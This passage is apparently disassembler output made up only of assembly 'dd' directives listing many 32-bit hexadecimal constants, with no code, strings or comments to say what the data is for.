		dd 6ADB767Eh, 0DE7798A9h, 0DAC8A3CAh, 2F4B2A89h, 672B7941h
		dd 0FF52C235h, 297FACA7h, 0AECA78D4h, 516CCDB0h, 0D9E66F8Dh
		dd 122898FFh, 45E31B07h, 0AA5344B8h, 668D5BC2h,	0CB018D5Bh
		dd 12A7CFEBh, 0E1129B2h, 3D684163h, 0E81AD781h,	6EB0A239h
		dd 0FAEF09ECh, 0AADF125Ah, 75BBDD18h, 9320579Ah, 9C120ADEh
		dd 0DBA69531h, 47DAF88Bh, 648E1BD9h, 1187C224h,	0C26A12CAh
		dd 72AA0707h, 0FE40F134h, 48C9E944h, 444FED3Eh,	2E511150h
		dd 1DC2D10h, 1C134582h,	3D0FC0B6h, 0E2B067C8h, 7C555B62h
		dd 286E1FE2h, 0BB39B629h, 0FB539D28h, 4AF935BBh, 7B05188Fh
		dd 0ECEA799Ah, 0C2F6406Dh, 0A3DB9389h, 7CE3E92Ch, 0D23D3251h
		dd 579AB60Ah, 0CF53D150h, 7D4794BAh, 4CFBBDCDh,	0F3205518h
		dd 0DC4B7D44h, 9CBFC0A0h, 0D3B415A5h, 41FF9564h, 74CE88D4h
		dd 5786534Dh, 0D96FB9CCh, 4D0B0FCh, 0DE1801AEh,	0ACEE7762h
		dd 0FF24B31Ch, 4F7ADF1Ch, 4775B5FFh, 32A05C24h,	0CF8BE1D5h
		dd 7812CFF1h, 0F820E729h, 23D22F1Fh, 71A444FDh,	0B189A94Fh
		dd 57D63059h, 0F4D7E2B5h, 752E62BAh, 85A3EC58h,	0CEE86E10h
		dd 7D1E308Ah, 7B16BB8Bh, 0F100DC64h, 52166474h,	171BDEA0h
		dd 0F84E9F13h, 0DE398A64h, 3BEC4897h, 0F39983C3h, 0C8C0FBC7h
		dd 0D0125FBDh, 0DBE08AA5h, 0D11BA983h, 35A64DB2h, 94FD37B4h
		dd 0BEAA6E23h, 8470E1BBh, 494DB626h, 71C1EFC0h,	195D5275h
		dd 0AD70F2BEh, 0E0C54478h, 0CAB6EBF2h, 9DED213Dh, 9C674087h
		dd 0A9D3C382h, 311AEB85h, 0BBA943CDh, 5D38B8A0h, 5BC4EE26h
		dd 1753B935h, 0BFE09A0h, 29347088h, 0F280421Eh,	0A15C3B6Eh
		dd 79A52B34h, 80F16035h, 0C309B467h, 20743F61h,	312B66A0h
		dd 0D30BA423h, 0F88A72BBh, 0F42F0378h, 0F1F5D7ECh, 27276D25h
		dd 2120A315h, 0D4DCAF1Dh, 5A89BEE9h, 234540F9h,	0C54A3869h
		dd 30DD1FA0h, 0A8A122C5h, 4CCEB154h, 3C9E5C23h,	5C169769h
		dd 64497409h, 253C6A36h, 0D2FE96D7h, 0BF90E647h, 0AA73CBD6h
		dd 5B829CBCh, 0B0CDBC5Bh, 0DE6FAF8h, 8374A449h,	992D5258h
		dd 44D9BE53h, 6BCC1715h, 0A1D7EFFEh, 0F80DE44Eh, 0D269ADB6h
		dd 0EFEF5CBEh, 0A4F39207h, 12B2C037h, 6421A531h, 5099AC7Dh
		dd 7EB3C533h, 750A0977h, 0EA436631h, 0D11435B3h, 56C1E2ABh
		dd 0F684EB9h, 76EF6819h, 0EB81B809h, 1FAEEC36h,	0EBA070C6h
		dd 0EF4E02Ch, 2F8FA701h, 766A4F7Fh, 0F6AD2611h,	0C103B77Ch
		dd 0C361C861h, 8E85B35Bh, 0CC17B781h, 0FCE8CF42h, 0D1D98FA5h
		dd 41B0C10Fh, 3244A122h, 0D3AB2E0Bh, 0C64849DBh, 70E89E44h
		dd 5C2AE20Bh, 0C4018764h, 4CAE03CCh, 2CAD6D2Fh,	806DDBFh
		dd 0D2A79BE0h, 47118384h
		dd 74663852h, 27C6A075h, 3BBDDD58h, 50967CEBh, 8657EE3Dh
		dd 5DD25994h, 0E4619FD0h, 1C0267B2h, 2C4318B0h,	485A01E5h
		dd 58D04573h, 979A0CEEh, 612D659h, 97C3DE74h, 2DED87FBh
		dd 8756D0C9h, 29BD821Fh, 5F339EBh, 0C53BE304h, 60DCB88Bh
		dd 4634A3CDh, 0C1DB9599h, 907A3242h, 8C9F59BDh,	571352E1h
		dd 89C7ABA9h, 10F8D403h, 11ACDDD3h, 84C80E11h, 29B31418h
		dd 5AAF037Ch, 52B6A79Ah, 1B4F7AFEh, 6DEDD231h, 0D874F277h
		dd 67A235B9h, 4397828Eh, 7E3F2682h, 43855FCh, 0BAC630FAh
		dd 7A696F7Fh, 0A707D651h, 0A718CE7Fh, 5C814C20h, 0FDFC6B43h
		dd 8A08963Fh, 4696BBh, 4330CFA6h, 4D258EB2h, 82912574h
		dd 561DA40Ch, 1A0F3030h, 0AF77010Bh, 0FAA9D211h, 0E6C5C2D9h
		dd 0CF2E444Fh, 0DE7D93F7h, 5B914C12h, 5949AFF5h, 4396D2D2h
		dd 0F368FA62h, 0F0068C01h, 0C21634CEh, 0B5465B14h, 1F45DDE3h
		dd 9607A7F5h, 29610B4Dh, 89E8EAD4h, 5D0A59A2h, 445300B4h
		dd 5DE56770h, 0AE793D3Ch, 42BE7AD3h, 0C4AB7D6Ah, 0AB84E5D0h
		dd 8811ABB9h, 21DE13CAh, 78E2C8B4h, 71D7FAFAh, 0DCB9F048h
		dd 88EFC61Bh, 2D0D265Eh, 15710463h, 1F1F4307h, 63147F30h
		dd 27315377h, 0B472E763h, 1C5FF612h, 9DBEF8CBh,	0A2C66A1Ch
		dd 0F8913835h, 41D61CADh, 9A26ACE3h, 0EF852780h, 704CD41Ch
		dd 95FAE090h, 0BCFDC309h, 54E86C83h, 3A43FF0Dh,	0FF3AA675h
		dd 0B6FB562Ah, 0DF11A6EEh, 8CEF6C52h, 0B3E0B823h, 0BD62C7EDh
		dd 612B8360h, 539CF45Eh, 0A392399Bh, 4BD87D18h,	4C4808E8h
		dd 386D845h, 0DA62594Ah, 365F2C2Fh, 0BB7BBE1h, 35B183F9h
		dd 116DE3ADh, 7599AA9Eh, 0A61A69Eh, 70BA3AA6h, 474A056Bh
		dd 0D14D2B90h, 0DFD361F9h, 7EEFCB4Fh, 0FA293054h, 0CEED0E1Fh
		dd 0E83A7BD7h, 5D88AEF1h, 0BCD0EC31h, 0CD9D12FDh, 501D4A74h
		dd 4DDF67E7h, 3F1902C1h, 0BFADA46Ch, 3347F5E6h,	8EA48FAEh
		dd 8DD40B40h, 0E7636F6Fh, 0FFE00B8Bh, 0C4B6EB25h, 0CD46FFC0h
		dd 0DFABA977h, 19736C8h, 0DB034C15h, 0C42B18F3h, 0C32F8773h
		dd 0F5CE3151h, 553DCF5Ch, 0EEC86E0Fh, 0D40B011Fh, 77C9F967h
		dd 0D540E757h, 0B7DFC24Fh, 0A2B65CD9h, 60E97664h, 9F80C76Ch
		dd 71A0926Fh, 0CA1EDB29h, 0A8309A9Eh, 5F33F266h, 0CDF2BB73h
		dd 4770DE90h, 1C57D8B1h, 7790E9D5h, 0DE659D40h,	78085118h
		dd 0C917EFAFh, 0AD04198Eh, 5D4F0B46h, 0C528401Fh, 14850E2Ch
		dd 0BCB2E189h, 0D5554902h, 0E8173E67h, 5F7E5845h, 59CA0C7Ch
		dd 4D36C366h, 0BE5B5C43h, 6B558455h, 5B29D4DAh,	0C685CC8Dh
		dd 0B004C18Bh, 7CC6D741h, 8DD48A6Ch, 23390A2Bh,	670FB66Ah
		dd 9A3CF96Fh, 7E84E1B8h, 0F2F0A2FEh, 7F5793B0h,	5429210Ch
		dd 0A0714012h, 8BF44C03h, 0B1C880D7h, 0E5C0A88Bh, 89A98FC2h
		dd 3EE69CFBh, 9070C982h, 0C69535FDh, 3996FC08h,	6847F1D5h
		dd 0F1686D7Ch, 0BB172E1Ah, 72C885B0h, 1423C3C4h, 440EDF59h
		dd 0BA4DD1E6h, 2C4C394h, 29468F1Bh, 52A536E6h, 0E4FDB76Ah
		dd 9BADD329h, 8CAE89B3h, 0EF6437ACh, 5D8D9026h,	0DE63B920h
		dd 0CAD75996h, 493A471Ch, 0F2D838D8h, 7645FDBh,	0E0B8F5DCh
		dd 0E1CA6754h, 0C39F0029h, 0E46FB9D5h, 0F8852FC6h, 64117261h
		dd 172E4F75h, 78CFD111h, 0B177F87Fh, 3C0739A0h,	0C90701A1h
		dd 5450FF33h, 81299844h, 0EC685697h, 0AA7BEB46h, 0E7A5281Ah
		dd 10C17705h, 3D9D9250h, 2DBED8B7h, 0D854377Bh,	1413263h
		dd 5D61C92h, 654929E0h,	9DDDFCD2h, 0B5B2D32Bh, 6B68C349h
		dd 6F4B5C4Bh, 838C7E86h, 77FA25F4h, 10209B1Dh, 0FD138A8Fh
		dd 6E2960B6h, 0CCDDD577h, 0C5BE5370h, 0D00EC4E4h, 4757B14Bh
		dd 240E8411h, 8849F85Ch, 2D0AEB62h, 3818CDF9h, 11CB9439h
		dd 5E7FDED7h, 0B2AF4F2Dh, 0B663E6Fh, 5858CBD7h,	5F807CC2h
		dd 1FE7D2F8h, 1DDD2DF4h, 415D7AC5h, 18B4D7D7h, 1F2FAA97h
		dd 42185212h, 0D7756E15h, 872B2CBCh, 14926988h,	2845CB7Bh
		dd 0F92D8456h, 0FE9AF02Bh, 0C39E3C07h, 7F701D1Eh, 0E8E9CE6Bh
		dd 32B517Ah, 988D9898h,	0E8D03CEEh, 8ED93EECh, 31F74668h
		dd 661B9075h, 0F0B16B8Ch, 72012ABh, 244C28Bh, 14B3D5D9h
		dd 0F4AC7593h, 6C956133h, 8E8BF04Fh, 3BBF7061h,	44ACFC09h
		dd 0DDDD8FD1h, 52BC5EA8h, 4A575C84h, 6389E5F2h,	58CF7260h
		dd 0B79DDA28h, 0F5FCAB4Ah, 0B72D5177h, 8C8C3B69h, 0EC6AFCCCh
		dd 6F40B9CAh, 0B2712F7h, 1C9204ACh, 60F68163h, 739D99FEh
		dd 28C6100Bh, 52C145ABh, 3C4E228Ah, 0DF035029h,	0D5170727h
		dd 0BFE2E374h, 0DBD3C927h, 34CC50D6h, 372D35B8h, 0AB289CF9h
		dd 0AF9E432Fh, 984BCE51h, 76222387h, 459172A4h,	1FECE617h
		dd 0EBF2BCEFh, 237A3244h, 72D87AC0h, 3F518CECh,	6F965721h
		dd 0DD252CC5h, 74DE2A98h, 0BE12DDC4h, 8104A08Bh, 1CED8FFFh
		dd 7127D92Ch, 0FBCE4CE6h, 44647F75h, 0BAB69B3Ah, 0A0227A55h
		dd 0FC346FB6h, 90046E46h, 4B455AFCh, 9BC9C978h,	44FB1C6Eh
		dd 45524B69h, 2F203E6Dh, 0AB32C7ABh, 2D7C4069h,	5D017176h
		dd 53C115F1h, 72F4631Bh, 99C17AEBh, 39CBE400h, 0DE5C7E18h
		dd 17361976h, 0DC4C35ACh, 0C62F4D7Fh, 385E1C74h, 0CD15CD29h
		dd 0C25F64C0h, 53445EE5h, 82850608h, 0FCB1B7E6h, 0F029C86Bh
		dd 6B466FA9h, 8C46D585h, 8842410Ah, 34BED221h, 0BB001567h
		dd 53890F61h, 0E63E68EAh, 0ACC592EAh, 11FA6032h, 5A63AA72h
		dd 0E800530h, 0AF011040h, 29564227h, 0CB35D618h, 7B9D11A4h
		dd 8DAB2264h, 0C16C351Ah, 0DE54330Fh, 217B42DDh, 3216CC96h
		dd 0CED535BEh, 9D751FF4h, 0B9113708h, 4BFE5DB6h, 1EBB7A2Eh
		dd 9D3B15D4h, 26556E5Eh, 65F7DA8Dh, 39512954h, 0F182BCFh
		dd 9FE597E2h, 5A7CD710h, 0A906940Dh, 5F6149E8h,	0C8C00EB1h
		dd 0EE9FD8B1h, 0E028C5B8h, 21BF1A7h, 0B70A29A5h, 2D199AF7h
		dd 0AD7EFB1Fh, 0B182839Bh, 0F4A106E9h, 0D17A8FF7h, 0FE319C32h
		dd 0C307A52Fh, 3FAEC5AAh, 7669C693h, 0B6093040h, 2A982F96h
		dd 144E0F82h, 0ABA72DE2h, 5CFD31A9h, 27225EE1h,	6C532235h
		dd 5E05BE43h, 0C237655Ah, 98168A10h, 0C4700201h, 0A3499A7Bh
		dd 55403FF7h, 0DED87139h, 619B84C0h, 3213A498h,	832FA7CFh
		dd 0F66BC03Bh, 0AF014D55h, 0BCD6267Fh, 2F61CC40h, 0D779503Ch
		dd 5F86DC0Bh, 0EFDCE920h, 798B5346h, 0C65746EFh, 5D2F8A5Dh
		dd 7EA21F19h, 10EEFD05h, 81529DC7h, 0F1C9BC73h,	39CE6949h
		dd 5107AE4Ah, 0F2D47ADBh, 0D460E7E3h, 0C74C49BCh, 3376938h
		dd 49305C0Ah, 79899F8Ch, 0B754CB80h, 0CD65E033h, 2C44360Bh
		dd 9020C90Dh, 0A71172DDh, 775B6443h, 34A199D1h,	0D28AEF13h
		dd 97D2501Ch, 0CB1C907Ch, 2B78BE06h, 0E28760F1h, 0C6A4CEF4h
		dd 49994869h, 7807F137h, 0D66FC026h, 6569694h, 0B631DAF9h
		dd 30774DBCh, 0B9AA251Ah, 7DDDF62Bh, 7EDC9105h,	0D0BC5FACh
		dd 748FF835h, 0F0DA1797h, 1C0A3BD3h, 77A104C7h,	0A8540DE9h
		dd 0F72AAA22h, 7BBBD93Ch, 57260F5Ah, 1FFCEB08h,	3EBD9339h
		dd 379111E3h, 0C0E8B429h, 0B2C23ACAh, 4D4C3835h, 0C9EB1C27h
		dd 0DAEBADDDh, 84F31576h, 321720B1h, 0D58F7974h, 6651C768h
		dd 0C6BA4A73h, 0E837DD66h, 12B8DFCFh, 66CD9B27h, 0BC424E36h
		dd 0C17A5E00h, 8A8435F7h, 57BF3417h, 0BA59DB8h,	66BFDC75h
		dd 46EE632Ch, 0ECAAE05Ch, 3AE4A268h, 775B3E78h,	5687D30Ah
		dd 0D629BE1Ah, 56F090EAh
		dd 3D4AFA98h, 0E3EC1D62h, 0D33E068Fh, 0FEEB3BF5h, 4B0FD29Ah
		dd 120C781Ah, 587E7D56h, 0EB2DDEE1h, 1245E927h,	50A3ADD6h
		dd 0A5D6A831h, 0D03B0F23h, 29C67A79h, 83AC0DFBh, 0C9268755h
		dd 872A3389h, 0F6D9B247h, 4CDBF9C4h, 0CACFCCD5h, 0D0BA3C05h
		dd 88FD769Dh, 0E88942E0h, 0B2527FB4h, 49FF3A1Fh, 1E540126h
		dd 3CB52D5h, 861374D6h,	0F2A77560h, 0D60AC1A8h,	7D1C885Bh
		dd 0AA5CD3Eh, 1CD37C22h, 0B09BD5F3h, 8631EE9Dh,	0B49FC1BAh
		dd 6E00E31Fh, 4AD29433h, 0AAF0600h, 0B596F87Ch,	971592E5h
		dd 5C7778DBh, 0D79BE990h, 3890FB5h, 0F46538E1h,	90E18780h
		dd 0C094538Ah, 9D2360F9h, 74E26F57h, 513752B8h,	641AC9CEh
		dd 0A59FD6EBh, 475BE70Eh, 302F9CB0h, 2AB152B3h,	0CBFBC102h
		dd 730B6042h, 0BACCD814h, 904732AFh, 50A5FC6h, 0AA3E6D4h
		dd 0D5EE16B5h, 0CCAF043Ch, 0E5A6B722h, 0C565E1ABh, 2DB26EDEh
		dd 1CB70598h, 8D2F1B5Fh, 0DED5ECB3h, 0DE9F870Fh, 4A82A1A2h
		dd 0ED08F14Fh, 0F69951B8h, 2EFF48F5h, 0A60316DFh, 0B9D3ADF7h
		dd 3F2639C1h, 0A3B217CEh, 7BB5AFB2h, 4248B4D5h,	9D93C3D5h
		dd 0C86C2A9Fh, 0F91E3F4Bh, 0E981F9D7h, 1162347Dh, 82F35D10h
		dd 3716229Eh, 46197D0Dh, 7B4FA86Ah, 0CF7E021Bh,	0C4712A8Fh
		dd 0A62DB073h, 83BA0BCBh, 8259E8B4h, 0CB96E11h,	83AD0247h
		dd 75A0F331h, 18682FB3h, 1BAB18ADh, 0BA31F329h,	0C0FE8C44h
		dd 81915844h, 6C670A55h, 20EA5F8h, 0BF122696h, 0AF552AF1h
		dd 8C6BA430h, 12BAD920h, 2C366BCEh, 7B6CA247h, 0ABE5D60Bh
		dd 4AF978A5h, 0BF77D2DEh, 40C25181h, 6B5942E0h,	0FD7FE6BDh
		dd 0B2E5A00h, 8ACBCD07h, 46678FC5h, 0D2F61158h,	4A10B186h
		dd 0BE952868h, 9124F8EDh, 0C7070AA9h, 75780B88h, 8649E347h
		dd 0CD059C49h, 72970832h, 27F21F7Bh, 316C15B0h,	971CABACh
		dd 56AA7F65h, 0FDB51089h, 0F8BA0681h, 9541EF39h, 6C6075EAh
		dd 6B2D0E0Eh, 0DD69F12h, 0F15BDBF2h, 6704B277h,	0DB53B30Eh
		dd 0EAB9076Dh, 49F9843h, 62381A5Eh, 342E48A7h, 9A91E7D1h
		dd 2E077B8Eh, 597B3993h, 1A13A5F9h, 1B6D5266h, 0D1CA0D35h
		dd 96D1156Bh, 91F7EE03h, 53B41985h, 0BC0226C5h,	886B465Ch
		dd 0A0F9D700h, 0BBADAB70h, 2BF31752h, 21FB3746h, 0F9DE322Bh
		dd 0C6A2F397h, 18DF60D2h, 0C4FD673h, 0F4A29FA0h, 634E011Ah
		dd 6D7F02FEh, 63C41D63h, 0FE6A0665h, 3C7DFA3Bh,	2F419C64h
		dd 5AD7DB7Fh, 0B1796430h, 9718454Eh, 6BD065B1h,	9E06BE31h
		dd 84D94CAEh, 0CE54AF99h, 913DB793h, 14141BD5h,	2CCECE1Fh
		dd 198BF68h, 0A4EAB9B9h, 0ACCA0A72h, 95EC6045h,	25E1C9CEh
		dd 9546117Ch, 0D0C4B1A3h, 118ADFDCh, 0E7537EAEh, 9B57FFC5h
		dd 6F37E3C5h, 298FF8D2h, 3135B55Bh, 0D8E1DE9Fh,	6B01184h
		dd 48E6DFB4h, 0F38A8F37h, 30499869h, 0E868EA13h, 4D7B833Eh
		dd 880DF500h, 583E5B6Dh, 527598D5h, 0A0C8AF87h,	3C8C188h
		dd 0C33BBF11h, 0A98F749Eh, 2BCE386Dh, 24CD2EB5h, 779156F5h
		dd 1D70D43Eh, 0C378A443h, 76F87Bh, 41DC029Dh, 0B22C28FAh
		dd 48E8845Dh, 0DD05B6C7h, 0B55727A7h, 0CB216020h, 8E5060EDh
		dd 3465784Ah, 9A8A6130h, 2315678Ah, 0D663C0D2h,	0C3B76641h
		dd 99FA813Fh, 1ABD155Dh, 8BBEC1A0h, 2C8A9E23h, 9E26F525h
		dd 0A443F151h, 0CEEF241Dh, 712DB10h, 2257D786h,	0DB1564EFh
		dd 53FC5E3h, 6289C739h,	97FEF368h, 3B173E52h, 0B74521A0h
		dd 5B61B03h, 104837C9h,	0C20DA872h, 650A6F6h, 0DA624086h
		dd 708B9434h, 0B5106268h, 0D51DF0BFh, 6C171EF0h, 7BB41B85h
		dd 6D91DD29h, 5EE470E0h, 311F2428h, 0AE8EF9B5h,	727C710Bh
		dd 0C6770A5Ch, 9333BFFAh, 0FF7E3F00h, 0BB4F6D61h, 39C70229h
		dd 3A13AFC6h, 0CBC97C38h, 0D5701373h, 9ED5444Dh, 0BE83A771h
		dd 0EDA2A623h, 3D63784Dh, 5EB8C9D5h, 7F020418h,	0A8A79C8Fh
		dd 960F69E2h, 0C17C80CFh, 7D297705h, 7B0A8B11h,	1C4EDBDEh
		dd 9E41B8EBh, 77903AADh, 3ACE012Eh, 337D12EAh, 161F0944h
		dd 0B6B8D2B1h, 24819BE7h, 1D64CBDFh, 0D6277745h, 8076F4BEh
		dd 11FB1F54h, 2A705B8Ah, 0B8E7C8ACh, 273D7997h,	8955E3A0h
		dd 5E39D70Ah, 5747E16Fh, 16F2328Bh, 0F9A510F3h,	12179ECEh
		dd 0CA0D5C62h, 6C9D0477h, 0B4A28B93h, 8F2A2EA8h, 31128C09h
		dd 8104E9D7h, 8C6EF6AAh, 32F1FB9Eh, 0FBBF569Fh,	0F86B421Bh
		dd 4CC8C0FBh, 9A2449A6h, 1BFF3BF8h, 0C5A5B08Bh,	0B4ACF642h
		dd 1D16A021h, 56DF84E9h, 0AC035C9Ah, 14A47461h,	8476BE6Fh
		dd 0BDEB0F6Eh, 0A75372FDh, 0F6423894h, 0E0A33757h, 0A29A8642h
		dd 9660F607h, 0BB748CB4h, 74DCF6C1h, 0E381EB4Dh, 0F9532E4Bh
		dd 1D25F94h, 0A2DCA94Fh, 9E96443Ah, 0AD0179F5h,	0F43CE29Ah
		dd 0C38CEBA4h, 0A65AEB9Dh, 989475E6h, 0E71BEA64h, 5F953492h
		dd 0BD9420h, 0D8B70B4h,	1125D4FBh, 7508837Dh, 0E1BC608h
		dd 33BC33DDh, 9E4C4DDBh, 9A0F4095h, 0F5673D2Ch,	0F087AB3Dh
		dd 460E1555h, 0EA263EAh, 78E4F0A7h, 0B45695D5h,	0AA350D0Bh
		dd 9E034168h, 11D3F5B8h, 2D2F29B5h, 104D6167h, 0C923F395h
		dd 43287213h, 63742723h, 3AE833F3h, 0E5E3BEE9h,	46B7373Dh
		dd 62C105E9h, 190E35B5h, 21FCA9C7h, 1B9C1B8Bh, 0A7EEEEDh
		dd 9A8F7546h, 8D29F87h,	8768431Dh, 16D83E02h, 0AD8A3B05h
		dd 37B86C1Ch, 0B475F5B9h, 0A5681549h, 0E8F4A19h, 0A4FF054Ch
		dd 0D1B37B74h, 0DCB7FC67h, 46B0932Dh, 0BD04D142h, 0B1C872B3h
		dd 0DDD665E4h, 577328ACh, 790B4A99h, 7BDFE4DDh,	6B8E9E30h
		dd 74ED80Ah, 57D03B12h,	597D2ADAh, 0E256D9BCh, 0E1880CCBh
		dd 0F7A3D2EDh, 285001A7h, 0F053734Ah, 0AA2EB7Ah, 0D19520A3h
		dd 6306DF79h, 3FAAD196h, 0F350D9E8h, 575B131Eh,	957AB8C5h
		dd 74419D7h, 34A78530h,	55004CF6h, 6D9C39A1h, 5C92CD8Eh
		dd 0C2446C80h, 0F116C3Dh, 137E2DEAh, 0D7B1782Dh, 493C73B1h
		dd 1C63CDCDh, 4B727B0Dh, 0D3787E01h, 874614DBh,	244C7BF6h
		dd 5C0836BAh, 4C686D27h, 0E12BEA42h, 0B22CA26Ch, 6692BAE7h
		dd 1CF0773Dh, 0A2D4C88h, 0E42C6D3Ah, 9887666Dh,	1CC5D4C4h
		dd 0CB718E71h, 665FD9E4h, 9EDF5BACh, 9EC39E1h, 0B09C20A3h
		dd 9F67C975h, 55C20880h, 0B6C92848h, 0EC05BE4Bh, 133A453Bh
		dd 4A387034h, 0CC487B13h, 0D43B1450h, 82240ACFh, 47626ADAh
		dd 97CFF243h, 901D50C8h, 0E1BFF4DEh, 891AD6B3h,	3B0F1936h
		dd 0E959A665h, 0EE0EFF17h, 0A448718Ah, 6C63BC8Dh, 0AD09949Fh
		dd 0C5AB55EDh, 0AAC08903h, 50A0F944h, 0A0C161F9h, 706CBD4Ah
		dd 8E27D9BFh, 50F3A3AEh, 30368771h, 2798D51Bh, 4AC5EDBAh
		dd 4CA9A6FAh, 0B0A9F25Bh, 0ED7D4657h, 0B3C68120h, 0CF2BDD7h
		dd 0AAD208Eh, 0CD4A3E9Ah, 59C8E3C1h, 0DAA3DA21h, 48032C70h
		dd 0ECEAA4CAh, 630B920Bh, 7A59EBA2h, 0C83A31FEh, 0AFF3D30Fh
		dd 0C6ED6397h, 0A6CBE051h, 757A7D1Dh, 0E4F7B0CFh, 0A7C8CF5Fh
		dd 0CB18863Dh, 69A4B07h, 2C0DA2C3h, 4119FB0Bh, 982C4B72h
		dd 0D04087A5h, 7D175BF2h, 16D955C4h, 0C8B61837h, 0B51AEE83h
		dd 0B151510Eh, 348A597Fh, 0EB4CE91Eh, 0C3B645D7h, 0D00EB6EFh
		dd 12FB055Ch, 5428B39Ch, 0DB39608Ah, 90D85A54h,	5B547C1Ch
		dd 79197990h, 2AFD90BEh, 18620C73h, 261C64F2h, 7039C555h
		dd 95FC9FF8h, 0C54A713Ah, 290178BBh, 0D53B93F5h, 9F4F8A75h
		dd 30AD008Fh, 0D57DA6Fh
		dd 0A0C854ADh, 0A17C3D9Bh, 92AE1FEFh, 0D3A7F51Bh, 0C407669h
		dd 0FAF34A1Ah, 0E678FE86h, 0D2949428h, 1ABA18AFh, 0E4870C24h
		dd 520F808h, 12FD7130h,	0E979F93Fh, 629CA0D6h, 0C926B524h
		dd 0E4B9D2E4h, 0DDD054D9h, 0D349BC7Fh, 372EF56h, 7C811B54h
		dd 14FA4056h, 79B10A08h, 40EDE8Ch, 0DF850CE4h, 77657D0Fh
		dd 94B26769h, 0D827FC3Fh, 8DBA3120h, 0F3D78247h, 0CFF134Dh
		dd 5ECBEB01h, 7F24E24Fh, 0FC182C8Ah, 6A7A45EEh,	631E06B7h
		dd 41C5A2h, 64233529h, 39CB78BDh, 0CB3BF8DCh, 0D1E8C14h
		dd 40CC333Ah, 66A756F1h, 3A5311E3h, 0B52F6001h,	63534602h
		dd 22B7ACA4h, 13D0AEB8h, 4548A424h, 92C13504h, 0E461CDB2h
		dd 4C125E17h, 0E815522h, 2AFB2599h, 482764E3h, 7225D52Fh
		dd 1CE4D151h, 0E8C930A4h, 42A681E8h, 30A1D800h,	77B4A7D9h
		dd 5FF77B95h, 2A21BEA9h, 85C87FEAh, 0D19136CFh,	5D53F787h
		dd 11887709h, 0AF82E841h, 0F8AA9E0h, 7B52DB07h,	0E545D942h
		dd 57D123D6h, 2D0088A8h, 560026A3h, 851DAAD9h, 893EAF3h
		dd 2DA6741h, 242B55A6h,	0AFF8B133h, 0DA1DAA03h,	51E94254h
		dd 56C3C290h, 38EF177Eh, 76A059CCh, 0EDEABD8Ah,	0D1321C36h
		dd 1A6C407Ch, 567F2886h, 0CA1AF145h, 800AF78Dh,	0EBD49F20h
		dd 631961C3h, 0B07B0B63h, 2657F1FAh, 9B08BC00h,	34D3D1D2h
		dd 6A24DB84h, 426C19A4h, 96E5BEC3h, 0E81D3D02h,	79F2EDD3h
		dd 0C43D706h, 0FE3B2250h, 0D2CDE674h, 8BFD6B41h, 0F508EA82h
		dd 0E4DB0A3Bh, 49737F18h, 8B985271h, 2903DF9Ah,	97208227h
		dd 8B28827Ch, 378B286Eh, 0FF524E01h, 0F47F86EEh, 0A1DE6FF9h
		dd 2BEF1E0h, 226EA362h,	9FB8F2F4h, 8A36AA03h, 26B39CB5h
		dd 5A351575h, 0E52F4219h, 2A24D977h, 972068C5h,	0D1455C7Ah
		dd 859D7C7Ah, 0A4825A27h, 0FD6D3B29h, 8FD1CB4Eh, 2382BC5h
		dd 2EF3E244h, 2D5B86C1h, 29DD0FF8h, 830176F0h, 0CEB5E0CFh
		dd 0DA57252Ch, 0B44EAB43h, 0B7C767Fh, 389E482Fh, 247318BCh
		dd 9319C9DFh, 834DDC80h, 6BD8CB3Eh, 6A99FBDFh, 0FFB40973h
		dd 8672BF3Ah, 0A9CDADF2h, 4782980Bh, 29CA459Fh,	0DD42C6FCh
		dd 870C5B7Bh, 20A695DFh, 0BCC8C304h, 0E54F97B3h, 67B1AD98h
		dd 6F54ED49h, 3D98D2F9h, 3B6B2223h, 13580F45h, 15406EBCh
		dd 0D6D11A7Eh, 0A70DB5A0h, 0BC75E81Ah, 1312FAD4h, 0A03D02ADh
		dd 5E8BB078h, 0B2265B16h, 0A2F4AFB4h, 0BB16A5A5h, 38B415D1h
		dd 4BAD6C21h, 3C99D2C8h, 0A51CA689h, 932A9282h,	858709B0h
		dd 0B62133E7h, 0FA2E259Fh, 0A9A40243h, 2A82365Ch, 0A17ABD52h
		dd 88985C71h, 0E05FB6FAh, 8EE024E8h, 40333CE1h,	2D541ACh
		dd 8B03AB50h, 5C0E02D1h, 391BB76Dh, 0C6B9C274h,	48EEE6EBh
		dd 2275AAD7h, 62FFAD7Ah, 53BDD1E2h, 0B11CF1D3h,	0FE533FF0h
		dd 0C345B24Ah, 0FC8AD540h, 6A3E86ABh, 0D3B63FA6h, 49A98650h
		dd 461C5A4h, 5A30DB29h,	2AA98132h, 0C5EAA0BCh, 5445E34Eh
		dd 95C8CFCh, 38CA243h, 682D0DCFh, 6169B8F7h, 0A7D19968h
		dd 0FFC37EB9h, 4D1F9FF8h, 0D86CB05Dh, 0A7DE49B6h, 9DFF585Bh
		dd 0C257265Bh, 104A2344h, 0E0C69A31h, 44043CA6h, 0B9AC52EEh
		dd 4BD76659h, 582CBADBh, 86F56E90h, 58ED8C53h, 0FE6549F4h
		dd 0F409FBEAh, 863F54A2h, 0D980F528h, 0C0885B1Fh, 514D235Fh
		dd 0BB529EEFh, 7FC833A4h, 6735D865h, 2F1909CCh,	27A91063h
		dd 9040526Dh, 0D5BF55AAh, 671FF83h, 86B24765h, 8ACFF02Bh
		dd 7B2E97DAh, 686B51B0h, 0A1C6718Ah, 2ACD40CDh,	20D589A0h
		dd 4ACE7316h, 0A8615FCh, 0D99E550Dh, 24EEFA2Dh,	0D4E7E7C7h
		dd 82065394h, 0C99E8EAEh, 0B424A3F4h, 968D95B9h, 8F5ECB90h
		dd 9D17F88Ah, 8F6780B0h, 0D228561h, 537A70DFh, 0D8172533h
		dd 0E2DC1DACh, 0B6BA74F9h, 0C0C2F04Ah, 1671B5CCh, 5E611C1Ah
		dd 0E47FFBAFh, 5AB409Ch, 55E92129h, 1C4A5DD6h, 0A17E1BE2h
		dd 485FED88h, 0BEB0AC9Ch, 2240C61Eh, 9036AFDh, 86F61502h
		dd 5628130Eh, 44C77129h, 9FD75506h, 59E620B4h, 0BC55E6F9h
		dd 0AD3032B4h, 92017434h, 1AD6D1ECh, 1F5C677h, 779EADF2h
		dd 0DFDA6015h, 76713C35h, 0C369C2CDh, 827EF9A6h, 86CDF61h
		dd 0FB198A9Eh, 0C22D504h, 0B2EFC575h, 0ECDD6B12h, 0AB1088D2h
		dd 97642030h, 0C673F302h, 6A00BE5Fh, 0A83C2CF4h, 0B39FDFABh
		dd 0E79F28C1h, 0D1688499h, 31CAB84Ah, 378C6879h, 0FE5BAA53h
